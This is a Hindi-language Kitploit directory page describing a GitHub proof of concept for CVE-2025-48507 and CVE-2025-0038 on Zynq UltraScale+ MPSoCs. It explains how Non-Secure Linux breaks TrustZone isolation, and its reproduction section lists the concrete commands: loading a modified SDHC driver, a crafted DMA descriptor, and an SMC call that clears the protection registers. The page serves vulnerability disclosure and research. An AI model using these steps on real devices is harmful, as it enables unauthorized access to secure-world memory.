Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
PoC_CVE-2025-48507 — CVE-2025-48507 का प्रूफ ऑफ कॉन्सेप्ट। यह सुरक्षा दोष गैर-सुरक्षित सॉफ्टवेयर (जैसे, Linux) द्वारा Trust Zone को भेदने और Secure world तक पहुंच प्राप्त करने के लिए इस्तेमाल किया जा सकता है। | Kitploit
उपकरण/GitHubGitHub/jdbonfils/poc_cve-2025-48507
एम्बेडेड सिस्टम सुरक्षाविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगहार्डवेयर सुरक्षारेड टीमिंगबाइनरी शोषण
GitHubjdbonfils/poc_cve-2025-48507

PoC_CVE-2025-48507

CVE-2025-48507 का प्रूफ ऑफ कॉन्सेप्ट। यह सुरक्षा दोष गैर-सुरक्षित सॉफ्टवेयर (जैसे, Linux) द्वारा Trust Zone को भेदने और Secure world तक पहुंच प्राप्त करने के लिए इस्तेमाल किया जा सकता है।

रिपॉजिटरी देखें
2210 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Zynq UltraScale+ MPSoCs पर TrustZone को तोड़ना - CVE-2025-48507 और CVE-2025-0038 के लिए Proof of Concept

Non-Secure सॉफ़्टवेयर CVE-2025-48507 और CVE-2025-0038 का शोषण करके Zynq UltraScale+ प्लेटफ़ॉर्म पर Secure World में रीड/राइट एक्सेस प्राप्त कर सकता है, जिससे TrustZone आइसोलेशन टूट जाता है। इस उद्देश्य के लिए, Non-Secure सॉफ़्टवेयर CVE-2025-0038 और CVE-2025-48507 का शोषण करके IOU_AXI_WPRTCN और IOU_AXI_RPRTCN रजिस्टरों (0xFF240000) को क्लियर करता है, ताकि SD Host Controller को एक Secure Master के रूप में स्विच किया जा सके। फिर, Non-Secure सॉफ़्टवेयर (जैसे Linux) SD Host Controller (स्लेव इंटरफ़ेस अभी भी Non-Secure है) का उपयोग करके किसी भी Secure मेमोरी में लिख या पढ़ सकता है।

अधिक जानकारी:

  • AMD के सुरक्षा बुलेटिन:
    • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
    • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
  • PoC की PowerPoint प्रस्तुति: /doc/PoC_Exploit_presentation.pdf
  • PoC का वीडियो: https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
  • मूल शोध लेख (अनुभाग 5.5): /doc/preprint.pdf

प्रभावित प्लेटफ़ॉर्म:

  • Kria™ SOM
  • Zynq UltraScale+ MPSoCs
  • Zynq UltraScale+ RFSoCs

प्रभावित घटक:

  • Cortex-A प्रोसेसर के लिए Arm Trusted Firmware (TF-A) और PMU Firmware संस्करण 2025.1 तक।

इस रेपो की संरचना:

  • source/ : Zynq UltraScale+ MPSoCs (ZC104) पर इस PoC को दोहराने के लिए स्रोत

    • CVE-2025-48507 और CVE-2025-0038 का लाभ उठाने के लिए

      • smc-tt.c: मूल कर्नेल मॉड्यूल जो Non-Secure Linux को मनमाने SMC कॉल जारी करने की अनुमति देता है।

      • Makefile: कर्नेल मॉड्यूल को क्रॉस-कंपाइल करने के लिए एक Makefile (पथ आवश्यकतानुसार बदलें)।

    • CVE-2025-0038 और CVE-2025-48507 का शोषण करने के लिए

      • sdhc.c: संशोधित SDHC ड्राइवर जो SD Host Controller (SDHC) का उपयोग करके DMA हमले करने की अनुमति देता है
      • dma_patch.sh: एक सुविधाजनक स्क्रिप्ट जो संशोधित SDHC ड्राइवर पर निर्भर है और SDHC की DMA क्षमताओं के माध्यम से मनमाने मेमोरी क्षेत्रों को पैच करती है
  • doc/ : TF-A और PMU स्तरों पर सुरक्षा कमजोरियों का विवरण देने वाली प्रस्तुतियाँ और शोध लेख।

  • hw_debug/: APU और PMU प्रोसेसर पर TF-A को डीबग करने के लिए हार्डवेयर डीबगर स्क्रिप्ट्स। ये PMU फ़र्मवेयर और TF-A में प्रभावित फ़ंक्शनों को डीबग करने का वातावरण प्रदान करती हैं और हमले की सफलता की पुष्टि करती हैं। इन स्क्रिप्ट्स का उपयोग Trace32 और Lauterbach PowerDebug PRO JTAG हार्डवेयर डीबगर के साथ किया जाना है। हार्डवेयर डीबगर ZCU104 के JTAG पोर्ट (J180) से जुड़ा हुआ है।

हमले का पुनरुत्पादन

वातावरण तैयार करना:
  1. एक प्रभावित वातावरण बनाएँ (जैसे, Linux, TF-A, PMU Firmware...)।

    • उदाहरण के लिए, Petalinux की पूर्व-निर्मित इमेज, Yocto, Petalinux टूल्स...
  2. Linux बनाते समय, SDHC ड्राइवर को kconfig के माध्यम से लोड करने योग्य कर्नेल मॉड्यूल के रूप में सेट करें। यह केवल शोषण के लिए आवश्यक है।

    • MMC_SDHCI=M
  3. कर्नेल मॉड्यूल smc-tt.c और sdhci.c को कंपाइल करें। प्रदान किए गए Makefile का उपयोग कर्नेल और कंपाइलर पथों को अनुकूलित करके किया जा सकता है।

  4. CVEs का लाभ उठाने के लिए, smc-tt.ko को Linux rootfs में जोड़ें

  5. CVEs के शोषण के लिए, sdhci.ko और dma_patch.sh को Linux rootfs में जोड़ें

CVEs का PoC और शोषण:

PoC में, सिस्टम (जैसे, fslb, uboot...) को SD कार्ड से बूट किया गया था। Linux की rootfs को USB पर फ्लैश किया गया था। DMA हमले के लिए, Linux ने SD कार्ड के एक खाली पार्टीशन का उपयोग किया, जिसे संशोधित SDHC ड्राइवर (sdhci.ko) द्वारा संचालित SD Host Controller के माध्यम से एक्सेस किया गया था।

केवल CVEs का परीक्षण करने के लिए, चरण 2, 3 और 5 को छोड़ा जा सकता है।

  1. Non-Secure वर्ल्ड में Linux को उसकी rootfs के साथ USB पार्टीशन पर बूट करने के लिए U-boot कमांड्स:

    root@kitploit:~
    setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
    
  2. मनमाना DMA एक्सेस करने के लिए संशोधित SDHC ड्राइवर इंसर्ट करें:

    root@kitploit:~
    insmod /sdhci.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 
    
  3. संशोधित SDHC ड्राइवर का उपयोग करके Secure मेमोरी को पैच करने का प्रयास करें। यह विफल होना चाहिए क्योंकि SDHC अभी भी Non-Secure है:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
    
    • ARG1: पेलोड

    • ARG2: रॉग DMA एक्सेस करने के लिए दुर्भावनापूर्ण डिस्क्रिप्टर।

      • उदा., '\x00\x00\xdc\xff\x20\x00\x23\x00' जो 0xFFDC0000 पते पर 0x20 बाइट्स पैच करता है। \x23\x00 को ज्यों-का-त्यों छोड़ा जाना चाहिए
    • ARG3: एक डिवाइस पार्टीशन जो संशोधित SDHC ड्राइवर द्वारा नियंत्रित SD Host Controller द्वारा प्रबंधित है।

      • उदा., /dev/mmcblk0p3
  4. CVEs का शोषण करके IOU_AXI_WPRTCN और IOU_AXI_RPRTCN (0xFF240000) को क्लियर करें:

    root@kitploit:~
    insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
    
    • 0xc200002E: प्रभावित SMC कॉल (PM_FPGA_READ)।

    • 0xff24000000000100: क्लियर किया जाने वाला पता (0xFF240000) (यानी, IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) और क्लियर की जाने वाली बाइट्स की संख्या (0x00000100)

अब Linux SDHC DMA का उपयोग करके Secure मेमोरी तक पूर्ण रूप से पहुँच सकता है

टूल डाउनलोड करें
  • 0x100000000: PL डेटा को मुख्य मेमोरी (0x1) में वापस पढ़ें। चूँकि कुछ भी लोड नहीं हुआ था, यह केवल लक्षित मेमोरी क्षेत्र को क्लियर कर देगा।

  • PM_FPGA_READ के पैरामीटरों पर अधिक जानकारी: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693

  • Secure मेमोरी को फिर से पैच करने का प्रयास करें (0xFFDC0000)। यह सफल होना चाहिए क्योंकि SDHC अब Secure है:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3